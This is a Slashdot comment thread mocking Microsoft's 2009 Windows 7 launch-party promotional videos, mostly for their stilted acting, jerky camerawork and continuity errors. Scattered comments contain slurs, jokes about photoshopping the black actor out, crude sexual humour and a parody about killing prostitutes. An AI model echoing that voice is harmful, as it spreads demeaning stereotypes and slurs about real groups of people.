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Mainstream Press "Cringes" At Win7 Launch Parties
lurking_giant writes "Well, Microsoft has done it again with the YouTube Windows 7 launch party video that is turning the stomachs of even the mainstream press with its clueless and campy marketing style. A Washington Post reader was quoted as saying 'If Microsoft had been put in charge of marketing sex, the human race would have ended long ago, because no one would be caught dead doing something that uncool.'" Even the Guardian's resident die-hard Apple hater calls it "the most nauseating advert in history."
I see everyone else is catatonic from watching the video.
ROTFLOL. It tickles when you spank me there
Come on, this video is complex, challenging art.
Have Leo Laporte and the TWiT's had their Windows 7 party yet?
He said that they were signing up (2 weeks ago?) and would receive among other things: Windows 7 themed balloons, napkins and cups.
Wow, Microsoft.... Just, wow...
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Pundits hate it, check.
Teenagers hate it, check. (What don't they hate?)
Baby Boomers...
ahhh, how do you over 60s feel about this promotion? Maybe it is actually a good thing to encourage you old folks to get together and learn "the new technology". Do you relate to it?
How we know is more important than what we know.
Most advertisements only evoke one or two emotions. This one manages to make me feel despair, disgust, fear, and rage, all at the same time.
They've truly taken it to the next level.
I threw up due to the fast pans and edits long before the content made me barf. AG
I wonder why...
Don't thank God, thank a doctor!
White Guy: "Of course the first thing you're going to do is install Windows 7." Group: *Laughs* (Like we're going to do that.)
I like how they disabled comments on the video.
Because, of course, the video's obvious coolness needed no acknowledgment from the viewers.
I can see the fnords!
Heard it on All Things Considered on the way home tonight. They played a clip from the "how to give a party" video. There were several comments about how MS's marketing dept had missed the target again.
I remember for the Heinz Ketchup creativity contest they had recently there were a bunch of videos they kept removing despite them getting a lot of votes. Like this one that showed a wicked old lady chugging ketchup and then at the end she holds the bottle up and smiles and has this awesome snaggletooth grin with missing teeth.
So Microsoft will have to put with questionable content and I'll be there to vote it up and love it. Example:
*man sits behind TV set with only shoulders and head visible and upper arm working vigorously while expressions of joy cross his face*
Narrator: So there I was watching some kitten snuff films before my friends arrived for the Win7 Launch party.
*doorbell rings, narrator gets up to open door behind which are three guys with sunglasses on and a white powder visibly smeared across their upper lips*
Narrator: Guys, what's the deal, where are the hookers?
Christian Slater Sounding Partier: Yeah, Fred, about that, we had a little accident. One of the hookers got a bit lippy and they're not gonna make it.
Narrator: They're coming later?
Christian Slater Sounding Partier: Just make sure you don't leave any fingerprints on your dumpster if you go there tonight.
Narrator: Awesome, well, you all brought your stolen laptops so let's fire 'em up and start doing something better than snorting coke and killing hookers: installing Win7.
Remember, it's not just the comments that are impressively stupid on YouTube. There's also videos. Opening up your company to a video contest? Yeah, I'll be searching YouTube for "Win7 Launch Party REJECTED."
My work here is dung.
but I'd be worried that Kanye West would walk in and say "Windows 7 is good and all, but Steve Jobs wrote the best OS ever...I'm just sayin!"
...are not generating any free press for Microsoft.
Seriously, I need a shower.
I have seriously thrown up and lost 10 pounds of food from my intestines including water. You too can achieve rapid weight loss.
Microsoft has been making crappy promotional videos for years and years.
Take a look at this MS-DOS 5 video promotion, YO MS Raps!
Ballmer tries to sell Windows 1.0
This is the Windows 386 launch video with the crazy female office worker turning from Mission Impossible later on into a punk rock and Madona combo?
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T=5:43: Can you believe that Microsoft put the launch of Windows 7 in our hands? Couldn't have said it better myself. I love the token nerd, attractive woman, old-but-hip person, and black guy. It's like they hired marketing undergraduates to design the video.
and letting other people around the world mess around with it? In what way is this a new feature? *cough* BOTNETS *cough*
Here you are talking about Windows 7.
I could not get through even 30 seconds of it and I am in shame for that. I would rather light my ball hairs on fire and have a bondage trans sexual primordial dwarf beat the fire out with a sledge hammer than have to watch another second of that bowel evacuating drivel! The camera work sucks too. Mike
That Microsoft is in fact the Sirius Cybernetics Corporation.
Oh, all you haters just don't want to admit how much fun it would be to throw a party that damn nerdy.
It wasn't until I was 1/2 way through the video where it dawned on me that they were discussing throwing a party to introduce their friends to all the cool new things that Windows 7 can offer.
Either Microsoft is planning on selling Windows 7 like tuppaware or what I just watched was the introduction to a very bad porno.
Holy fu**ing sh*t. They never stop, do they ? when you think they reached the lower bottom they could reach, they just find a new, lower one. This is incredible. It's almost so bad advertising they approach it from a new horizon : it's so bad you want to make your friends watch it, and you want to watch it again, fascinated by the overall bad taste of the all thing. Maybe it's some kind of secret genius marketing scheme.
Come on, this video is complex, challenging art.
I was hoping to see a bunch of anal sex with the caption being, "Hey, you got it up the ass with Vista be prepared for Windows 7!"
It's NOT me! It's the meds! I'm on 1000mg of Fukitol.
Have a LAN party!
I wonder why...
My guess is that they were originally enabled, but Google didn't have the bandwidth to process the torrent of 0.0 votes.
They think they're on solid ground to criticize the marketing of a company that actually made money last year? Let me know the the newspapers entice their readership back to levels that are slightly above the number of people who'll read my post.
I wonder why, they were ashamed of it as soon as they posted it.
I actually watched the whole thing... you guys didn't, so you didn't see the older lady and the oldest lady erupt into passionate lesbian sex. The dudes pulled out weapons and began close-quarters combat. The video ended with the Mac guy emerging from stage right and saying "pwn3d".
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Ugh, is it that hard to copy the URL from the little box under the description instead of the location bar?
If apple had have done the same thing it would be marketing genius .. imagine a party with 100s of cool people there, genius.
Now imagine a party of 9 Windows 7 fans... NERD ALERT
Speaking of Windows 1.0....
I have a copy! (yes, for real!)
I have no problem with your religion until you decide it's reason to deprive others of the truth.
Blue-Balls of Death, eh?
Table-ized A.I.
...that when somebody came up to you out of the blue and invited you to a party, all you had to worry about was Amway.
rj
Microsoft, you need to get over it. You're not the nerd or the cool hipster anymore, if you ever were. You're the 800 pound gorilla in the room. It's time to stop trying to be cool.
"However beautiful the strategy, you should occasionally look at the results" - Winston Churchill
This thing is so vomit-inducing that everyone is talking about it and many who would not have watched the video actually did. As a case of viral marketing, I'd say it is brilliant. Few viruses can make you puke just by looking at them.
I expected to watch it and return here with some witty rejoinders to share. But something happened in that six minutes and fourteen seconds that not only neutered all creativity in my mind, but also seems to have caused me to be unable to think at all for the remainder of the day. Now the only thing I can say about it is:
That was fucking terrible.
Culture is more than commerce
Is this like tupperware?
man look at her expression at the 5:20 mark.. yeah I would love to be part of that party!!!!
"This was a warning. Microsoft will continue to produce and air this chain of advertisements as both conventional and viral marketing campaigns until you and everyone you know has purchased Windows 7. See you at the Superbowl."
One of the first things that got me interested in FOSS/Linux were the install seminars and LUG's, what I am seeing here is Microsoft's cheesy take on the same concept but centralising on family etc. Were is all fails is when Jimmy the 9 year old next door uses a hacked installer he torrented of the web for Windows 7 and gives all the neighbours a free install and a spambot for life PC.
Microsoft used to be one of the greatest marketing forces on the planet. What happened for them to go so far off the rails?
Oliver's law of assumed responsibility: If you're seen fixing it, you will be blamed for breaking it.
Kdawson, patiently waiting in the shadows for something just like this to come along in order to POUNCE.
Sorry kdawson, even though I have to say Win7 parties are pretty lame, this doesn't make you cool.
BeauHD. Worst editor since kdawson.
Hell, *I* hate Tux the Penguin. Nothing screams Dork in a College Dorm Room louder than Tux. (OK, maybe a Middle Earth poster...) But the goofy little guy endures, so he must be reaching somebody in the target audience who's not me and the pundits. Maybe this Win7 ad reaches the same key demographic.
Of course, the preceding argument presumes that Linux has some kind of unified and organized marketing program. Which is, y'know, ridiculous...
Any press when you have a good product is still good press. In the end, people are going to remember Windows 7 and not the ad.
I actually felt sorry for the actors. I couldn't imagine faking interest in that, for any amount of cash.
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Wow...it took them over 3hrs to film that short 6 minute PSA. Not only was it horrible, but the actors involved didn't even believe what they were pitching.
You took six minutes of my life, Microsoft, and I want them back!
On second thought, I think I've wasted more time on their products, though.. But that still doesn't get them off the hook.. That inane blappering was worse than ad-libbed, german ads!
When shooting video, don't do it in front of a live clock, or at least edit the damn thing.
And what's with the pile of lemons?
I signed up for that party, and after 3 times the date being pushed back of when I would know if I won or not... I lost... Too bad M$ cause I just jumped over to permanant Mint Linux. I would have used 7 (I ran RTM and was amazing) but I didnt win that party.
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Others expressed thanks that Microsoft isn't responsible for anything that actually involves life and death.
They really should have let the product market itself. Because for once they have a halfway decent product. Remember when they said Vista was as good as OSX? And then we used Vista and perhaps we should have treated their marketing campaign like a child with mental deficiencies? Like it's not polite to laugh at them, because they are trying...
But Windows 7 is actually the product Vista was supposed to be. But they're trying to sell it as something new. The only way that Microsoft could market this is, "Yeah, Windows Vista sucks ass. The UI didn't make sense, and it was often slow for no apparent reason. We'll acknowledge that now that we have a replacement. We know that almost every computer shipped with Vista has been converted to Windows XP. Here's the produce that fixes all those problems."
The only way to regain consumer trust is to admit your faults. Or just say nothing and let consumers do your advertising for you. I can already see the tweets - "Windows 7 not a steaming pile of dogshit!". That's the kind of grassroots movement that sells software.
It's Party Time!
Are these couples in this video? If so, maybe it's a clue that they're going straight after Apple on the next release, and naming the OS "Cougar".
Insightful and funny are really the same thing, except one has a punch line.
I am so going to do a riff trax on this movie, it would be freaking hilarious.
Either that, or break the finger the cameraman uses to operate it. That would be eminently more satisfying, come to think of it.
Seriously, what on earth is with that ridiculous shakey / constantly zooming camera? It seems like every "edgy" marketing video out there uses this "technique" constantly, along with rotating the camera to get "edgy" points of view.
Enough already! I find it unwatchable. Our eyes don't work that way, so why would you force us to watch something that zooms spasmodically? It's not edgy or cool, it's annoying.
Yeah yeah I get it, the zooming in / out is supposed to be a subconscious queue to concentrate / relax on what is being said at that particular moment. Good job captain psychology, now go back to learning how to operate a camera correctly instead of being a useless marketing chump.
If you're going to abuse the zoom feature, at least make it funny by zooming up on her rack every 2 seconds. That would be pretty funny actually.
Hey MS send some of that ad $ my way I could make a better commercial in powerpoint in about a minute and a half. (make that ten minutes if I have to boot up)
No, if Apple had done this, it would still have sucked. It would take more than "genius" to make this pitch work, it would take "omnipotence." In fact, if the marketers at Apple really are geniuses, I would expect them never ever to try a campaign as hokey as this.
If anything, Apple sells only the style and solidity of the hardware and the utility of the software, and downplays the operating system because it exists only as a facilitator to the other things you want to do with the computer. It really is a case where you want to sell the sizzle instead of the steak, because the steak is boring.
You cannot truly appreciate Dilbert until you read it in the original Klingon.
After all, it does seem reasonable that Microsoft would want to outdo an open source vomit-producing project.
Have you noticed that Windows 7, is really really good, and infact is the the first time a Windows release has ever been anything resembling 'good'. In contrast, this marketing is the worst ever since that rap video for Windows 386.
Obviously the quality of the product at Microsoft is inversely proportional to the quality of the marketing.
After logging in slashdot still does not take you back to the page you were on. It's been that way for 20 years.
... IMMEDIATELY.
It takes a special kind of clueless to produce something this utterly out of touch.
Just plain Wow.
(And to you "creative" directors who put this "thing" together? You seriously should never work in advertising again. You are devoid of all necessary skills).
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... but why'd they have to ruin it with all that Microsoft stuff?
In Liberty, Rene
Windows 7 themed jello shots, strippers and potato cannons.
You can thank me later.
I'm trying to teach myself to set people on fire with my mind... Is it hot in here?
The start me up campaign was pretty good if I remember.
Get AC/DC or something. Something Thunderstruck or Back in Black.
Then go hire a music video guy to do some funky video where everyone's face turns into a window.
Why is this so hard?
well... start the countdown: implosion in 10,9,8,7...
this is easily the worst promotion I have ever seen. Microsoft, please for the love of god fire your ad agency. There is 'incompetent', and then there's this extra-special, groundbreaking new plateau of retarded-ness.
I didn't think it was possible to kill Windows 7 with a single video -- BUT IT JUST HAPPENED.
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I wonder how many of these parties will even happen. Heck, Im signed up but only for the free win7 license. Dont tell Bill.
The video is perfect. The video correctly represent Windows 7 and its design philosophy. And it evokes the same feelings in me that using Windows does.
Congratulations!
http://xkcd.com/51/
An instant classic! It kind of reminds me of Dragon Strike, without the skeletons of course.
Santiago
Yeah, and? We were all talking about Vista too and that affected sales, how again?
It's NOT me! It's the meds! I'm on 1000mg of Fukitol.
It's so terrible, I feel compelled to send it to everyone I know so they can see its glory. Well played, Microsoft.. Well played. -_-
Have strippers, a keg, taking sledgehammers to Windows machines, you get the idea.
It's NOT me! It's the meds! I'm on 1000mg of Fukitol.
It just shows that Microsoft know they've won.
You walk into a store and buy a computer. It comes with Windows pre-installed.
You get a document sent to you by a cow orker. It's in Word format.
New PC game? Designed for and runs only on Windows.
The vast majority of computer users now believe computers need to be rebooted regularly, that getting a virus is an accident of nature, and that botnets are an unavoidable consequence of the Internet.
They can produce marketing like this, because frankly, they can. They don't care. In fact, they probably revel in it.
Will they photoshop out the black guy for the german parties?
watching 'two girls, one cup'. At least that one held my interest as well as repulsing me.
"You can't really dust for vomit" --Nigel Tufnel
One of the largest and wealthiest companies in the world and this is what they came up with for advertising? Come on Microsoft, at least let your advertising look like it came from a monopolistic company. Wait! Maybe that's why its so crappy.
I think the guys who managed to convince Microsoft to make this video, still must be dying of laughter. I really think that Apple must have planted them to prove that it's time for St. Ballmer to go...
It's the new episode from Brannon Braga!
http://www.hulu.com/watch/97929/flashforward-no-more-good-days
"For 2 minutes and seventeen seconds, we all blacked out..." ... in the future!"
"We didn't black out sir, we were
"What did you see?"
"It was too horrible to talk about."
"Come on honey... What was it?"
"I was STILL at the release party!"
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I particularly enjoyed watching the clock on the stove. Lady 1 says something while the clock says 3:41 beside her. While she is still talking, the video cuts to a reaction shot of lady #2 where the clock says 4:07. There were many breaks in time like this that the clock gives away. I'm not a video professional but that sure seems like something any qualified director would notice while shooting.
At some point surely the marketing guys should have realised that it was time to go back to the pile!
For my windows 7 launch party, how big a rocket motor do I need to launch a Windows 7 netbook,laptop, or desktop. IANARS
134340: I am not a number. I am a free planet!
that "Truth Happens" video promoting Linux.
Geekboy on the left needs to stop backwashing into his iced tea. The level in his glass keeps jumping up and down randomly.
I'm an individual! Just like everyone else!
What's interesting is watching the clock on the stove count about an hour total to film this 6 minutes. Yet everything they say just has that nonstop cheesy flow. Multiple takes or they actually managed to cut out the 'cheesier' parts and still leave us with this? One thing this does is open to plenty of parody, which is still much desired attention. Imagine the mock launch parties... windows 7 porn party, windows 7 BSOD party, windows 7 installation sleepover.
I don't quite get it. Is the video some kind of training tool for people hired to actually host parties -- some weak, fake form of guerrilla marketing?
Or is *anybody* encouraged to host a Win 7 party and this video is part of that promotion?
Either way the video was so fucking phony I couldn't help but cringe; I'd cringe worse if it was to encourage people to have parties, but then again I cringe at the thought of being desperate enough to get paid to host parties for computer software.
And who are those 4 people, anyway? They're such a ridiculously deliberate mix of 'types' and you'd never see them together in real life. Sorry, but none of the 'senior' women I know give a shit about computers and they don't socialize with black men, either (this is meant to reflect how people really live, not to make any claims of rightness or wrongness). Cunty professional women pay someone else to use the computer. The dork lives in his mom's basement and wouldn't be in that kitchen at all unless it was his mom's.
The problem with running a Windows 7 party is finding a clever way of hiding the DJ's MacBook & iPod.
in the beginning of the 6min video the clock is at 4:01 but at the end it is at 4:51. microsoft can't even do time correctly.
At first I was thinking "It takes the kind of money only Microsoft has to create some of the best ads in the world"... Then I hit me "It takes the kind of money only Microsoft has to make the poor actors participate in Microsoft ads." It's gotta be a payment big enough for a lifetime of no acting contracts.
They at least got the token black guy (TM) in the party. Coming from experience, this guy is waiting to deflect the first rap question sent his way. --
i agree
Someone took the video and censored it. Just watch it and skip TFA.
http://www.youtube.com/watch?v=gyas7BrbUFY
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I think they might have managed one thing with this video, they got us all talking about it, and I am definitely going to make fun of it with my friends, and some of them will probably think about windows 7 upgrade because of it.
remind you of a certain fan base, mr. penquin?
If this is the reaction MS gets from the computer literate people, then they are one the right tracks.
Let me elaborate:
MS doesn't try or need to appeal to the gamer crowd nor the computer savy crowd because they are already committed to either MS or a different system. Which chunk of the population is left: People who don't really use computer for hardcore gaming or work. Perhaps MS doesn't know how to get to them, but they certainly know that whatever works for the geeks doesn't for the rest of the population. Thus the litmus test becomes: how hostile will the geeky and nerdy crowd will be on seeing the ads? So far, it seems to work very well.
Why does Microsoft have to push for Windows launch parties? If it was something people were that excited about, wouldn't parties spontaneously happen?
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soap opera grade software
Stoner weed
Here is an improved version of the commercial: http://www.youtube.com/watch?v=Imd1_39pLAM
Microsoft has always been poor at Marketing.
I watched the video without any noticeable nausea. The videography seemed rather amateurish with jerky pans and pointless zooming in and out.
The thing is, who (other than the company itself) has a launch party for a product? I haven't even heard of rabid Mac users having launch parties for new versions of OS X.
un-ALTERED reproduction and dissimination of this IMPORTANT information is ENCOURAGED
Just to clarify: it's not one video. It's many. At your own risk, observe: http://www.youtube.com/user/LaunchParties#play/uploads
Indeed, there are more demographically varied parties to be found, and while you can cut the "upcoming intergenerational orgy" tension with a knife, MSFT apparently wishes to withhold the payoff for a later installment: http://www.youtube.com/watch?v=FBUICo6PJpo
Some of us remember the widespread mania for Win95 when it came out, and how people tut-tutted over poor "beleaguered Apple" who made a good computer but were just clueless when it came to marketing. (Apple? Are they still in business? Not for much longer, I'm sure. . .)
Microsoft has always had bad marketing.
The whole "Microsoft is a marketing company" concept was just another attempt to explain why they're successful without admitting they produced anything of value.
It's viral marketing. They know that nobody is going to have one of these idiotic "launch parties".
They've intentionally made the worst ad they could (while still making it somehow realistic enough for people to buy it) in order to get people to talk about windows 7.
I did not know when the launch-date for this was. This ad has been posted on all of the major tech-news blogs. Now I do. Mission accomplished.
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Yeah...boom mic in the frame, clock in the background (on the stove) skipping huge gaps of time....essentially 1 hour over the 6 minutes.
Btw...I own the exact same microwave that's in the background...it's annoying as hell...anybody want it?
Hi comments are much better then even the video.
>I think its more Microsoft attempting to be similar to Apple.
HOW? Does Apple have these release parties?
Seems to me that Microsoft is copying the Bubuntus habit of having release parties
and instead of relying on users/developers/LOCO/community, they decided to do it themselves.
Nothing like a corporate inspired/mandated grassroots movement.
Seeriously, how are these release parties copying Apple?
Can you even type something without apple coming out somwhere?
Is that possiblapple?
It seems like management handed the task of putting together the marketing video to a bunch of engineers. Luckily they were also given a set of requirements, this is all an engineer needs!
This is how I imagine the checklist:
Note: If there happens to be a clock in the background, don't bother with it, no one cares and it saves us money.
http://www.youtube.com/watch?v=ssOq02DTTMU
When will they learn that the zoom control is only for big kids to use?
So... For the version sent to Poland, did they edit in a smiling white guy to replace the black dude?
I have to disagree. The marketing for Windows 95 was masterful. The marketing of Windows XP was at least adequate. Now we have incomprehensible ads featuring Gates and Seinfeld, and cringe-worthy Windows 7 Party promotions. Is the company so sure of their position that they no longer think their campaigns need to be vetted?
Oliver's law of assumed responsibility: If you're seen fixing it, you will be blamed for breaking it.
They should bring Kylie back. She was cute, everybody liked her, and was effective (I'm 4 1/2 and I'm a PC) going against the "I'm a PC and I'm a Mac" campaign from Apple.
There is a reason for these parties:
-It costs less money.
Think of the XP launch event and how much that ran Microsoft. Now think of how much these will cost them. Nothing. Aside from that, only the "party host" is getting a free copy of Windows 7, not any of the attendees.
Reason why journalists hate it?
-Because they like to feel special and have special events with a reason to call out of work and to get free software.
There you go.
By shear coincidence, my internet connection passed through a worm hole this morning and in the future, Slashdot reports that the same people responsible for this video will, in fact, be the first ones up against the wall when the revolution comes.
Look, I know you guys are proud of your version of the Office, and really your homage to it is very good, but you're sort of doing it wrong. It's meant to be a form of self-deprecating humour called satire. Don't let the lack of a laughter soundtrack fool you, it's really truly not meant to be taken seriously.
That said, fantastic work on the awkward, stilted dialouge, shaky camera and the deadpan acting. There's potential there for a decent campaign if you stopped taking yourself so seriously and injected an inkling of humanity into the performance.
Well this gives me the idea to host a turd-massaging party - probably a lot more fun.
Those ads are the best sketch comedy Microsoft's ever paid for. I can just imagine the agents talking to these actors about this gig: "Ok, you're up for that microsoft gig. Can you nod?"
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
It's fun watching the digital clock in the background jump about and hour and 45 minutes for this 6 minute video (3:29-5:13).
I love that the clock goes back in time during the white guy's "zinger". It's like we're watch an expose on "Rock Bottom"
Windows is like the faint smell of piss in a subway...
There you go again, being excessively positive about Microsoft.
Windows Vista was deliberately released even though executives knew it wasn't finished, because Microsoft sells to people who lack technical knowledge.
Now everyone will pay again to get a small update to Windows Vista, called by an entirely new name.
Microsoft ads are bad because only the most clueless, unfriendly people are still working there.
> Couldn't have said it better myself. I love the token nerd, attractive woman, old-but-hip person, and black guy.
This can't be the real ad! If it were, they'd have photoshopped the black guy out, first...
Priceless...
MS doesn't really have any motivation to do clever or creative marketing. They already dominate the market. So my guess is they take the first semi-reasonable attempt at an ad and run with it. That way they don't spend too much time or money while trying to do advertising.
But I completely agree that the video is incredibly unpleasant and the concept of a Windows 7 release party with your friends is remarkably lame.
An effective "democracy" creates the illusion the people have a say in their government.
after the first 30 seconds I wanted to turn it off but tortured myself with the full 6:14 because I just couldn't believe how idiotic it was! Whatever marketing firm is behind this fiasco better start closing shop.
I was watching it when my computer geek friend came in the room. Man, that was more embarrasing than the time my Mom walked in on me watching porn with my pants around my ankles.
lol! John Nike, is that you?
You clearly don't work for nike in an alternate timeline!
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Viral Marketing is not manufactured. This is nothing more than Astroturfing; manufactured grass roots.
The people are PLASTIC and STIFF. You can tell with one look that it kind of looks real, but isn't. And if you played on astroturf, you'll know it isn't nearly as fun as real grass.
Agent K: A *person* is smart. People are dumb, stupid, panicky animals, and you know it.
I think the two caucasian women are a missed opportunity. Surely one of them could have been asian or hispanic, no?
I pissed a little I was laughing so hard.
From TFA:
"To assist the party-hosting massive, they've also uploaded a series of spectacularly cringeworthy videos to YouTube, in which the four most desperate actors in the world stand around in a kitchen sharing tips on how best to indoctrinate guests in the wonder of Windows. If they were staring straight down the lens reading hints off a card it might be acceptable; instead they have been instructed to pretend to be friends. The result is the most nauseating display of artificial camaraderie since the horrific Doritos "Friendchips" TV campaign (which caused 50,000 people to kill themselves in 2003, or should have done)."
I like this guy and "I'm A Mac"...
They should ask the microsoft marketing department to make a video to show people how cool taking drug is!
after viewing it not a teenager will want to try
Highly recommend the Guardian article linked in the summary: "Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." Most entertaining.
There are two things that would get me to attend:
And I know Ballmer and Slick Willie both have the kind of cash on hand to throw parties like that.
This is the worst episode of Battlestar Galactica ever.
...get that time back. Pointless.
There aren't enough mod points in the world for you, sir.
I laughed till I cried. Be sure to watch the surprise ending.
All that we see or seem is but a dream within a dream.
...in slow motion, and I can't look away, and I'm wishing I was on the train.
Wow. That is possible the worst commercial in the history of advertising.
-- $G
token black guy FTW!
"with it's clueless and campy marketing style" --> " with its clueless and campy marketing style"
Are they talking amongst themselves, or to me? Or both? Or Neither?!
WAHHHHHHRRRRRHHHH,
The time-warped clock in the background is but a small consolation.
I threw up in my mouth a little.
... to poke out my I's
Apologies in advance to David Letterman:
* Pin the tail on the Ballmer
* Simon says "UAC needs your permission to continue"
* Monopoly
* Your files in a haystack
* Twenty clippy questions
* Musical thrown chairs
* Darl McBride pinata
* Red Light, Green Light, Blue Screen
* DRM may I?
* Phone Home Scruples
It's true no man is an island, but if you take a bunch of dead guys and tie 'em together, they make a good raft.
Apparently MS is so confident in their platform, they partnered with houseparty.com, a company running Red Hat Linux infrastructure (according to NetCraft), to handle their Windows7 launch event... interesting.
Computer Science is all about trying to find the right wrench to bang in the right screw. -T.Cumbo?
"...with it's clueless and..."
Lern hau two spel.
Come on teens! Get to work selling Windows 7!
We always knew Comcast was corrupt, here's the proof: http://tech.slashdot.org/comments.pl?sid=1909890&cid=34545432
I just know I am gonna get a FREE copy of Ult-7 !!
Take THAT, you debian dweebs!
And after, maybe I can push some of this leftover tupperware!
It's stained with Pinoqachole anyhow.
-
Extracting sunbeams from
This is someone spoofing Microsoft with a fake Ad, right? I mean, Microsoft couldn't be that stupid, could they? A corporation with that much money and access to the best marketing talent money could buy, wouldn't put out something out that lame would they? Someone explain this to me. Or do flying chairs cause cerebral damage?
I find this marketing campaign piss poor. Playing friends off of eachother is shamefull at best.
So, friend 1 gets free Win7 - has a party to gloat about it. All other friends gain resentment towards friend 1. Friendships put to an unnecasary (sp?) test.
gg friendless MS geeks.
"Buy Windows 7 or we'll make you watch this video!"
I don't know about you guys, but I'd rather have Vogon poetry read at me.
~Philly
Charlie Brooker uses a Mac. This is just his "inverted psychology" evangelism. Everything he says about Apple products in the article promotes them - it's the smug users he's attacking, and quite rightly.
By the way, anyone else think there's some sexual tension between the two women in this execrable party video?
It's so terrible, it induces an entirely new emotion: a blend of vertigo, disgust, anger and embarrassment which I like to call "shitasmia". It not only creates this emotion: it defines it. It's the most shitasmic cultural artefact in history.
I love that word shitasmia
Where is the missing Asian person !! ?? !!
parties and gatherings centric to their releases is because they dont command the majority of computers with an iron fist of monopoly...there is a certain sense of community behind them. The interface, design of the machine, the
applications and everything down to the way the laptops charge is about art, form, and function. Point: the parties happen because people want to have them, not because theyre told to.
you cant just release a few youtube videos and demand exuberance from the audience. There is no "push" model to enjoying a product, and for microsoft to take the same jackboot approach to marketing
that theyve taken to vendor lock-in of their product is just asinine and annoying.
Good people go to bed earlier.
Nooooooooooo..... They're doing GREAT.
The agency responsible for this brilliantly witty perspective is Crispin, Porter & Bogusky. They've done some marvellous work here. I can't wait to see more of their efforts. Their spin on Macenstein's Mac Chick of the Month (NSFW) would be the bees knees.
I thought paying Seinfeld ten million bucks for three commercials was a brilliant investment too! Without his classic humor Vista might not have done even as well as it did. He's what got the man on the street to give it a go.
They should give them three to five more years before they give up on this crew. Their genius is subtle, but you need a good pool of data before you know how strategic marketing is working. And of course they'll be needing a bigger budget. This needs a wider audience to good market penetration. Maybe they could buy some leader space on DVD's, some long spots during the fall sports classics - the jocks will eat this stuff up. I'm thinking a few spots during the Thanksgiving day parade with real captured Windows 7 Launch Party footage will be just the thing.
Help stamp out iliturcy.
This confirms it. Anyone who decides what's cool based on the mainstream media's opinion should spill their mocha latte on their Mac.
Holy shit. Holy shit. HOLY shit! How. How... How could they be so inhuman as to not realize how incredibly dorky this is??? There has to be some rational explanation. But all I can think of is supernatural explanations. ET's and conspiracy theories, and Jesus and the devil and all that.
"The marketing for Windows 95 was masterful."
In what way?
Even the Guardian's resident die-hard Apple hater calls it "the most nauseating advert in history."
Apparently you've never seen the Songsmith ad.
http://www.youtube.com/watch?v=3oGFogwcx-E
I went to high school with the guy who got the Zune tattoo and supposedly he is hosting one, so obviously not everyone hates them. Man that guy is dumb.
-The world would be a better place if everyone had a hoverboard
I thought it was awesome.
I would bring a Antonio Banderas blow up doll... But win7 will probably suck all the air out if it!
(I had to fix the URL to get the whole video: http://www.youtube.com/watch?v=1cX4t5-YpHQ ) A very amateurish voiceover in the middle of the 'host' saying to first install Windows 7: "Call Customer Service if you have any questions." (!!!) Something tells me installing Windows 7 wasn't quite so easy.
http://www.youtube.com/watch?v=VH_DkBI9Qsk
Please!
Someone work up some parody videos, there is soo much material people can come up with:
"...I've already set up accounts for you all, one of which is totally pwned by malware and spyware, and another teeters on the blue screen of death."
"God I hope its me with the malware, some of those pictures are fantastic!"
"You letch, but yeah, you ever see that snow white joke I forwarded out last year?" (everybody laughs in agreement)
"After that I got a can't miss offer from some Nigerians!"
"Well, with windows 7 there will be a whole new slew of junky apps and marketing enhanced games to slow down your PC, and, as with previous versions, your PC will start of fast as heck and in a couple years..."
one starts, the rest join in, "Time to get a new PC!" more jovial laughter
"You got it Bill! You were quick with that, so you're first to log in.... well... if I can get this thing to log out. Hold on, ooohhh yes! System Update."
"ohhh, let me see!", as they crowd to the screen....
You too can host a party and join in on the informative fun!
Seems like some marketing department that was overlooked when the downsizing ax made its swing is trying to justify its existence. Bet money that ax comes around again soon ;)
*Here's* a crazy marketing plan:
1) release a really, really, good OS; something compelling.
2) have it pre-installed on new computers
3) offer it to businesses and the pubic for a reasonable cost
4) strongly support it
You might have to fire some marketing guys, middle managers, and execs and replace them with developers, QA, and support. Trust me, it'll be worth it.
As someone who hosts the Nepali apple user group once a month, i found the one video i watched to be informative - useful - well thought out, and i am going to use all those tips the next time i setup a meeting. Gee wiz MS, thanks so much for that.
I think therefore I can't be ~TTNH
Watching this video actually made me rather sad...
Even if you don't like Microsoft now, they were a great company once. Every company eventually fails. We're now witnessing the fall of one of the most successful in history.
People are asking, "How could Microsoft, with all its wealth and power, produce such a stupid series of ads?"
Because they're smarter than you?
--Because they have enough wealth and power to hire one of the smartest public relations firms on the planet. Waggener Edstrom is the same firm in charge of the Fox Channels. If there's any one thing they know how to do, it's identify a market and then lock down that market forever and ever and sell them whatever the hell 'truth' they feel like selling.
Here's a small clip from a page I found after about 10 seconds of Google searching. . .
Do they sound stupid now?
My guess is that they're doing three things with this ad. . .
1. They're trying to tap into a universal feeling of awkwardness that everybody feels when recalling a "PCP" party. (Parents, Chips and Pop). They're doing this because awkward, painful feelings open up memory centers. Information given during a period of high anxiety gets locked into place in the human mind. This is a well-known and often-used ploy in mind control. The information being served up in these ads is NOT how to run your software or all the features offered by their OS, but that "WINDOWS 7 EXISTS AND IT IS UBIQUITOUS AND YOU, AS A PACK ANIMAL HAD BETTER GET WITH THE PROGRAM OR RISK EXPULSION FROM THE HERD!!!!"
2. Trying to tap into the feeling of safety and love which people also feel when they think of their parents and the silly birthday parties thrown for them when they were little. Why? Because an OS is the bedrock upon which you ground your entire computer existence, --the same way your parents provided the bedrock for your adult behavior sets. You might think your parents were stupid and annoying, and you probably want to deny it, but the truth of the matter is that most people grow up to become their parents.
3. Go viral. --Using such deliberate tactics designed to rope in the lower echelon of geeks, such as stove clocks which are obviously bouncing around 'wrong' in exactly the kind of way geeks like to point out and be "Right" about. Fuck, fuck, FUCK! There's a whole sick cultural system through which people who like computer technology were warped into that "Look! I'm RIGHT!" head-space, and you had better believe that clock "error" was on purpose so as to lock them in. Low-hanging fruit.
So, please, for goodness sake, try to think outside of the bloody box when approaching the toxic waste which is advertising! If you fall for this kind of stupid shit, then you're nothing but slaves who deserve to be used and abused, and you WILL be.
Sorry for the harsh language, but this is important.
-FL
It's nice they also teach how to conduct music piracy with W7. http://www.youtube.com/watch?v=9l0-TtH6icc
Look how much attention they are getting. At the end of the day thats the point.
This is exactly the situation this word was invented for.
There is a fine line between being a cultivated citizen and being someone else's crop. - A. J. Patrick Liszkie
nuf sed
Table-ized A.I.
Does anyone have Sidewiki installed? I imagine there might be a few insightful comments on there. Could be worth installing it for this page alone.
Bribe people, maybe they can get some new gamers hooked as well. OK, I guess that only works on gamers, maybe they can give away a few cheap casual games.
